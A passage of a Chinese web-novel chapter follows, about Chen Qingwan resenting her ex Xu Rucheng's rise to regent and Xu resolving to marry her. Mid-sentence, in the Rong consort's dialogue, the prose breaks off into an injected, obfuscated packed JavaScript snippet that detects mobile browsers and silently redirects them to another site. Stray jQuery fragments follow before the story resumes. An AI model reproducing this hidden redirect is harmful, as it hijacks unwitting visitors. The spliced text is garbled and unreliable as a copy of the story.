然后叶落就见陈清婉一顿唉声叹气加痛心疾首。
她刚想问陈清婉是不是后悔跟她们出来了。
毕竟情郎都封王了,她若是安稳待在京城,此刻定是享不完的荣华富贵,也不必在这儿穷山恶水的地儿受苦。
但陈清婉接下来的话,让叶落大跌眼镜。
“凭什么?凭什么他蒸蒸日上,老娘我颠沛流离?”陈清婉很不服气。
没有什么坏消息,比得知前任过得比自己更好,更坏了。
“不行!老娘我也要过万人之上的日子!”陈清婉心里那股争强好胜的劲被彻底激出来。
然后她就告诉叶落,她与徐汝成当初是不欢而散,自己能保住小命都是老天保佑,实在是帮她求不了情。
叶落不信。
陈清婉又把她从前跟徐汝成在一起时的桩桩件件全讲给叶落听,来证明她在徐汝成面前从头到尾都没有丝毫面子可言。
徐汝成更不会给她面子了。
叶落不得不信。
只听她双手无力地垂落身侧,长叹一口气道:“实在不行,我也跟着逃去海东城算了。”
“啧你们一个两个的,怎么都整上杀身之祸了。”陈清婉无奈叹息,难道她就是传说中克天克地的天煞孤星?
要不然怎么解释:
徐汝成离了她就称王称帝。
杜芸与她想看两厌时还是风风光光的首辅千金,跟她一玩儿,摇身一变成了罪臣之后。
叶落认识她之前也是好不风光的大将军一枚,听了她的话,这包庇罪臣之后、私兴土木的罪接踵而至......
*
皇宫,修善殿。
“玉安兄,忙着呢?”
徐汝成一抬头,韩爽顶着那张贱兮兮的脸出现在桌案前。
“下了朝不回大理寺,你来这儿干嘛?”下一瞬,徐汝成看了眼门口,又反应过来,纳闷道:“谁放你进来的?”
徐汝成自从有了摄政王的身份,几乎夜夜宿在宫中处理政事。
“啧,咱俩这关系,还需要通传吗?”韩爽没有回答徐汝成第一句,而是乐颠颠地同他套近乎。
“说,干嘛来了?”徐汝成最艰难忙得脚不沾地,想做的事儿一件没做成,心里正烦躁得很,可没心情陪韩疏明绕弯子。
“嘿嘿,玉安兄请看。”韩爽递上一个大红折子给他。
徐汝成接过折子,一打开,赫然是一副喜帖。
他看着上面“韩疏明同谢家姑娘喜结连理”的字样,陷入了沉思。
半晌,徐汝成才缓缓抬头。
“你什么时候寻的姑娘?”没记错的话,他俩一个月前在别院吃酒的时候,这人还在哭诉自己孤家寡人吧!
“半个月前,元宵灯会。”韩疏明一脸幸福,不似作假。
“这才认识半个月,你怎么就确定要娶她?这姑娘怎么就确定要嫁给你?而且这谢家,不会是刑部尚书谢道和的谢吧?”徐汝成放下手中朱笔,双手捧起将这喜帖上下看了个遍,忍不住问了一堆问题。
“贱内正是刑部尚书谢道和之女谢玉兰。”韩爽清了清嗓子,一一为摄政王解答。
“半个月前,贱内在观灯时被偷了荷包,哭得那叫一个梨花带雨枝乱颤,韩某只一眼便觉心头酸涩,誓要帮她讨回公道,从那一刻我就确定,我韩爽此生,非她不娶。”
这话给摄政王听得一愣一愣的。
“你这就要非她不娶了?”徐汝成又纳闷了。
“玉安兄,有所不知。打小我爹就告诉我,如是遇到不忍其落泪的姑娘,便是命中注定,定然是要娶回家的。若是让她继续在外头吃苦,岂不是自找罪受?”
徐汝成不说话,韩爽就知道他这是答应了,便道:“就这么说定了,二月二,记得来吃我的喜酒。”
.........
韩爽走后许久,徐汝成都没能回过神来。
韩疏明那句话,在他脑中反复翻涌。
不忍其落泪,便是命中注定。
约莫过了一个时辰,徐汝成烦躁地放下手中的奏折,自打韩爽走后,他是一个字也看不进去了。
“顺子!”
徐汝成一唤,屏风后走上来一个手拿拂尘,身着深绿色衣袍的老太监。
那太监迈着小步,躬身上前,道:“王爷有何吩咐?”
“备车,回王府。”
*
半个时辰后。
荣王府,正阳堂里吵得热火朝天,堪比元宵佳节劈里啪啦响了一夜的烟花爆竹。
“什么?你要退婚?”荣王妃纵使仪态再好,如今也被徐汝成一番话吓地步摇乱颤。
“胡闹,圣旨已下,怎可朝令夕改?”荣王虽说不像王妃那般大惊小怪,但脸色也不好看。
“我此生只娶清婉一人。”徐汝成坐在堂下,面无表情地直视前方。
“那日当着两家人的面,可是你自己亲口说她不配为妻。”荣王妃记性格外好,三两句就把当日她大儿羞辱陈清婉的场面,描绘得如在目前。
“啧——”徐汝成心虚地眨了眨眼,说:“母亲,当日我俩正闹别扭呢,都是些气话。”
“这圣旨都下了,是你一句‘气话’就能改变的吗?”荣王喊哑了嗓子,赶紧牛饮一碗茶,这才勉强压住心里那团火。
接着又吐槽道:“你早干嘛去了?白天忙着云四方,半夜起来补裤/裆。”
“从前千错万错都在我一人,往后我定当与清婉不离不弃。”徐汝成也坦然认错,但痴心不改。
正阳堂诡异地安静了半晌。
最后还是荣王率先打破平静。“罢了罢了,你如今贵为摄政王,放眼朝中谁敢拦你,皇兄那边,我去说说。”
“多谢父亲。”
事情说完,徐汝成起身要走,又被荣王妃拦下。“成儿,改日把清婉带来陪我说说话吧。”
陈清婉自小长在尚书府,打小没少陪陈夫人参加那些贵妇人的宴会。
徐汝成还没认识自己亲娘的时候,陈清婉就已经见过荣王妃了。
“这......”徐汝成面露犹豫。
“怎么?当初弃如敝履,如今一朝得势,连我这个做母亲的也见不得了?”荣王妃以为徐汝成不愿意。
“这倒不是,只是......”
“只是什么?你有什么难言之隐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839623|188220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“只是孩儿如今也不知清婉去向何方。”
荣王、荣王妃:......
*
这半个月里,陈清婉一直生活在“凭什么徐汝成被封王”的疑问里。
海东城,兴意楼。
这天,她又给客人算错了价格。
湖月气急,大手一挥,果断撤销了陈清婉的掌柜之职。
“姑娘,在这么亏下去,咱们马上就能收拾收拾找片儿海跳了。”湖月更加确信她家姑娘变了,变得不再聪慧。
“我真是不明白。”陈清婉对徐汝成离了自己过得比自己好这事儿耿耿于怀。
“有什么闹心的,说出来让本姑娘开心开心。”杜芸不知道什么时候来到了她跟前儿。
“害——还不是......”陈清婉一顿义愤填膺地瞎比划。
良久,杜芸明白了。
“徐汝成贵为荣王嫡子,在官场上又屡立奇功,太子年幼,让他暂时监国不是理所应当吗?”杜芸耸了耸肩,一脸“你又大惊小怪”的表情。
“为什么不让荣王来?皇上不是最宠这个他这个弟弟了吗?”陈清婉不服。
“你都说了是最受宠的弟弟,他都最受宠了他能有什么本事?”杜芸无奈地翻了下眼皮,接着道:“他都最受宠了,皇上舍得这个弟弟天天早出晚归累得半死吗?”
“在理。”陈清婉点了点头,但她还是不服。
“徐汝成那个五品大蠢猪,他能立什么奇功?”
“东粮西卖、灾民北迁、大修官道,这些惠民政策可都是他提出来的,朝中诸多贪污腐败之事也是他肃清的,我爹说他屡立奇功却一直是个小小大理寺丞,是圣上在等着憋个大的呢。”
陈清婉怜悯地看了眼杜芸。
她不理解,这小妮家都让他老徐家抄了,怎么还把姓徐的夸得天上有,地上无。
“真没劲,走了。”陈清婉挥了挥衣袖,走出了兴意楼。
“哎!本姑娘刚来,你竟敢如此怠慢!”身后传来杜芸的大喊,陈清婉没有回头。
她摆了摆手,道:“我去看看湖山。”
岛上最近来了个郎中,自称医绝圣手,可活死人、肉白骨。
她在从芦洲城就开始广寻名医,一路寻到平潭县,都一无所获。
没想到来了这儿,竟然能遇上这么狂妄的大夫。
陈清婉本打算试一试,也没抱太多希望。
结果,还真让她瞎猫碰上死耗子了。
刚治了半个月,湖山走路几乎要恢复正常了。
只是天价诊金让陈清婉差点吃不消。
陈清婉独自一人在小巷里拐来拐去,终于在一处二层小楼面前停下。
沿海潮湿,海东城的百姓几乎都是这种二层建筑,一层腾空储物,二层才住人。
陈清婉赶到时,那郎中正在施针,湖山躺在榻上,两条腿被扎得跟刺猬似的,让人不忍直视。
“姑娘请坐。”绿禾给陈清婉搬来了凳子。“顾大夫说还要好一会儿,咱们有得等了。”
“顾娼妓人呢?”陈清婉环顾四周,确认这屋内除了绿禾和湖山,就没有别的活物了。